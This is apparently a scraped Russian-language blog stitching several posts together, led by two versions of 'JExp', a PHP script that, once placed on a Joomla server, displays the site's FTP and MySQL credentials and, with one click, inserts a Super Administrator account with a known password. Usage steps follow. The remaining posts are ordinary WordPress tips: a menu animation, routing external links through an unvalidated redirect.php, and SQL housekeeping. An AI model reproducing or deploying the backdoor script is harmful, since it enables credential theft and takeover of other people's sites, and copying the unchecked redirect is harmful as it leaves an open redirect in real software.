По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.
<?php
function GetParam($arg) { global $exp;
$show = $exp->$arg;
return $show;
}
function PrintParam($arg) { print("<b>".$arg.": </b>".GetParam($arg)."<br/>");}
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) { include "configuration.php";
$exp = new JConfig();
echo "<h3>ftp configuration</h3>";
PrintParam('ftp_host'); PrintParam('ftp_user'); PrintParam('ftp_pass'); echo "<h3>mysql configuration</h3>";
PrintParam('host'); PrintParam('user'); PrintParam('db'); PrintParam('password'); PrintParam('dbprefix'); echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) { $here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password")); $select_db_query = mysql_select_db(GetParam("db"), $here_we_go); $new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$jos_users_query = mysql_query(" INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW()) ", $here_we_go);
$jos_core_acl_aro_query = mysql_query(" INSERT INTO jos_core_acl_aro
(section_value, value, order_value, name, hidden)
VALUES
('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0') ", $here_we_go);
$jos_core_acl_groups_aro_map_query = mysql_query(" INSERT INTO jos_core_acl_groups_aro_map
(group_id, aro_id)
VALUES
('25', LAST_INSERT_ID()) ", $here_we_go);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else { echo "unauthorized access!";
}
?>
Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.
<?php
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) { include "configuration.php";
$exp = new JConfig();
function PrintParam($arg) { global $exp;
$arg_ans = $exp->$arg;
print("<b>".$arg.": </b>".$arg_ans."<br/>"); }
echo "<h3>ftp confuguration</h3>";
PrintParam('ftp_host'); PrintParam('ftp_user'); PrintParam('ftp_pass'); echo "<h3>mysql configuration</h3>";
PrintParam('host'); PrintParam('user'); PrintParam('db'); PrintParam('password'); PrintParam('dbprefix'); echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) { $connect = mysql_connect($exp->host, $exp->user, $exp->password);
$db_select = mysql_select_db($exp->db, $connect);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$add_query = "INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())"; $add_action = mysql_query($add_query, $connect);
$jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
$jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
$jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
$jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
$jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')"; $jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
$jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
$jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
$jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
$jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
$jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
('25', '".$jos_core_acl_groups_aro_map_ID."')"; $jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else { echo "unauthorized access!";
}
?>
Использование:
include "configuration.php"; — путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.
1. Скачиваем файлы lavalamp.js и lava.gif.
2. В папке с темой: lavalamp.js копируем в папку js. lava.gif копируем в папку img.
3. В header.php после того как подключили jquery:
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/lavalamp.js"></script>
<script type="text/javascript">
jQuery(document).ready(
function(){
jQuery(function() {
jQuery("#menus").lavaLamp({fx:"backout", speed:700})
});
}
)
</script>
4. В templates/header.php удаляем:
<li><a class="lastmenu" href="javascript:void(0);"></a></li>
5. В js/menu.js изменяем:
activate: function() {
if(this.sub == 1) {
var pos = currentOffset(this.title);
var top = pos[1] - 1;
var left = getWidth(this.body) - 2;
if (this.align == 'right') {
var left = getWidth(this.body) * (-1);
}
} else {
var pos = cumulativeOffset(this.title);
var top = pos[1] + getHeight(this.title);
var left = pos[0];
if (this.align == 'right') {
left += getWidth(this.title) - getWidth(this.body);
}
}
if(!/current/.test(this.title.className)) {
this.title.className += ' current';
}
setStyle(this.body, 'left', left + 'px');
setStyle(this.body, 'top', top + 'px');
setStyle(this.body, 'visibility', 'visible');
}
на:
activate: function() {
this.title.className += ' current';
var pos = cumulativeOffset(this.title);
var left = pos[0];
if (this.align == 'right') {
var offset = getWidth(this.title) - getWidth(this.body) + this.offset;
left += offset;
}
var top = pos[1] + getHeight(this.title);
if(this.offset == -1) {
var pos2 = cumulativeOffset(document.getElementById('navigation'));
left -= pos2[0];
top -= pos2[1];
}
setStyle(this.body, 'left', left + 'px');
setStyle(this.body, 'top', top + 'px');
setStyle(this.body, 'visibility', 'visible');
setStyle(this.body, 'opacity', this.opacity);
setStyle(this.body, 'MozOpacity', this.opacity);
setStyle(this.body, 'KhtmlOpacity', this.opacity);
setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
if(this.tid) {
clearTimeout(this.tid);
}
this.tid = setInterval(bind(this, this.appear), 20);
}
5. В style.css удаляем все стили, содержащие #menus и добавляем:
#menus {
position:relative;
padding-left:10px;
float:left;
}
#menus li {
float:left;
display:inline;
list-style:none;
}
#menus li a {
position:relative;
color:#382E1F;
height:30px;
line-height:30px;
padding:0 20px;
text-decoration:none;
font-size:11px;
float:left;
z-index:10;
text-align:center;
}
#menus li.current_page_item a {
font-weight:bolder;
}
#menus li.back {
background:url(img/lava.gif) no-repeat right bottom;
height:30px;
position:absolute;
z-index:8;
}
#menus li.back .left {
background:url(img/lava.gif) no-repeat left top;
height:30px;
margin-right:9px;
float:none;
}
#menus li ul {
display:none;
background:#F4F5F7;
border:1px solid #CCC;
border-top-color:#A6A6A6;
padding:0 5px;
}
#menus li li {
float:none;
margin:0 !important;
margin:0;
padding:0;
display:block;
list-style:none;
}
#menus li li a {
float:none;
display:block;
padding:7px 5px;
text-decoration:none;
width:200px;
border-style:solid;
border-color:#DDD;
border-width:1px 0 0;
margin:0;
background-image:none;
height:auto;
line-height:145%;
color:#999;
text-align:left;
}
#menus li li.first a {
border-top:none;
}
#menus li li a:hover {
color:#382E1F;
}
Для других тем как-то по аналогии.
1.В используемой теме редактируем файл functions.php. Дописываем:
<?php
function preg_callback2($matches) {
$url = explode(':', $matches[2]);
if (($url[0] == 'http') || ($url[0] == 'https')) {
$need = "http://krylov.org.ua";
$replace = "http://krylov.org.ua/redirect.php?";
if (substr($matches[2], 0, strlen($need)) != $need) {
$matches[2] = $replace.$matches[2];
}
}
return $matches[1].$matches[2].$matches[3];
}
function removeLinks($content) {
if (! is_feed()) {
$content = preg_replace_callback('@(]*href=")([^>\"]*)("[^>]*>)@i', "preg_callback2", $content);
$content = preg_replace_callback('@(]*href=\')([^>\"]*)(\'[^>]*>)@i', "preg_callback2", $content);
}
return $content;
}
add_filter('the_content', 'removeLinks');
add_filter('comment_text', 'removeLinks');
add_filter('get_comment_author_link', 'removeLinks');
add_filter('get_comment_author_url_link', 'removeLinks');
add_filter('comment_url', 'removeLinks');
add_filter('wp_list_bookmarks', 'removeLinks');
?>
wp_list_bookmarks — функиция, используемая для отображения ссылок из blogroll, если вы используете другую функцию замените на другое значение.
2. Содержание файла redirect.php, который помещаем в корень сайта:
<?php
$uri = "";
if (array_key_exists("QUERY_STRING", $_SERVER)) {
$uri = $_SERVER["QUERY_STRING"];
}
header("Location: ".$uri);
?>
3. Запрещаем индексирование обрабатываемых ссылок поисковиками. В robots.txt в корне сайта пишем:
User-Agent: *
Disallow: /redirect.php
4. Чтобы в браузере ссылки выглядели как обычно после открытия <body> подключаем jquery и следующий js-скрипт:
$(document).ready(function(){
$("a").each(function(i){
var remove_str = 'http://krylov.org.ua/redirect.php?';
var str = this.href.substring(0, remove_str.length);
if (str == remove_str) {
this.href = this.href.substring(remove_str.length);
}
});
});
По умолчанию в WordPress после каждого изменения записи, в таблице wp_posts остается предидущая версия со значением поля post_type — revision, чтобы автор имел возможность в любой момент откатитья до любой версии записи. Если такая функция не нужна, для отключения в wp-config.php дописываем:
define('WP_POST_REVISIONS', false);
или
define('WP_POST_REVISIONS', 2);
где 2 — количество ревизий.
После отключения, созданные ранее ревизии прийдется удалить вручную, для этого выполнить SQL-запрос:
DELETE FROM wp_posts WHERE post_type='revision'
По умолчанию, после установки WordPress логин администратора — admin. Из админ-панели логин изменить нельзя. Через phpMyAdmin в таблице wp_users изменяем запись с id 1.
или SQL-запрос:
UPDATE `имя_бд`.`wp_users` SET `user_login` = 'новый_логин',
`user_nicename` = 'новый_логин' WHERE `wp_users`.`ID` =1;
Если комментариев очень много, то в phpMyAdmin:
DELETE FROM wp_comments WHERE comment_approved='spam'